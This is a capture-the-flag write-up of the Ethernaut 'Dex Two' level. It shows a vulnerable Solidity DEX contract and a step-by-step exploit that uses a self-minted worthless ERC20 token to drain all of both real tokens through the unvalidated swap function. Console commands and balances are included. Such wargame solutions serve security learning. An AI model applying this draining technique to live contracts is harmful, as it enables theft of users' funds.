Ethernaut - 23. Dex Two
30 Aug 2022ethernaut
solidity
Difficulty: ๐๐๐๐๐
As weโve repeatedly seen, interaction between contracts can be a source of unexpected behavior.
Just because a contract claims to implement the ERC20 spec does not mean itโs trust worthy.
Some tokens deviate from the ERC20 spec by not returning a boolean value from theirtransfer
methods. See Missing return value bug - At least 130 tokens affected.
Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.
If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
Writeup
- Get new instance.
- Create a ERC20 contract.
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/IERC20.sol"; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol"; contract MyToken is ERC20 { constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) { _mint(msg.sender, initialSupply); } }
- Compile & Deploy
- Approve & Transfer
- Store addresses to
const
(in console)const t1 = await contract.token1() const t2 = await contract.token2() const myToken = 'YOUR_MYTOKEN_CONTRACT_ADDRESS'
- Get balance
await contract.balanceOf(t1, contract.address).then(v=>v.toString()) // 100 await contract.balanceOf(t2, contract.address).then(v=>v.toString()) // 100 await contract.balanceOf(myToken, contract.address).then(v=>v.toString()) // 100
- Swap
await contract.swap(myToken, t1, 100) await contract.balanceOf(myToken, contract.address).then(v=>v.toString()) // 200 await contract.getSwapAmount(myToken, t2, 200).then(v=>v.toString()) // 100 // we can swap all myToken to get all t2 token! await contract.swap(myToken, t2, 200);
- Check tokensโ balance
await contract.balanceOf(t1, contract.address).then(v=>v.toString()) // '0' await contract.balanceOf(t2, contract.address).then(v=>v.toString()) // '0'
- Submit instance ฮพ( โฟ๏ผโกโ)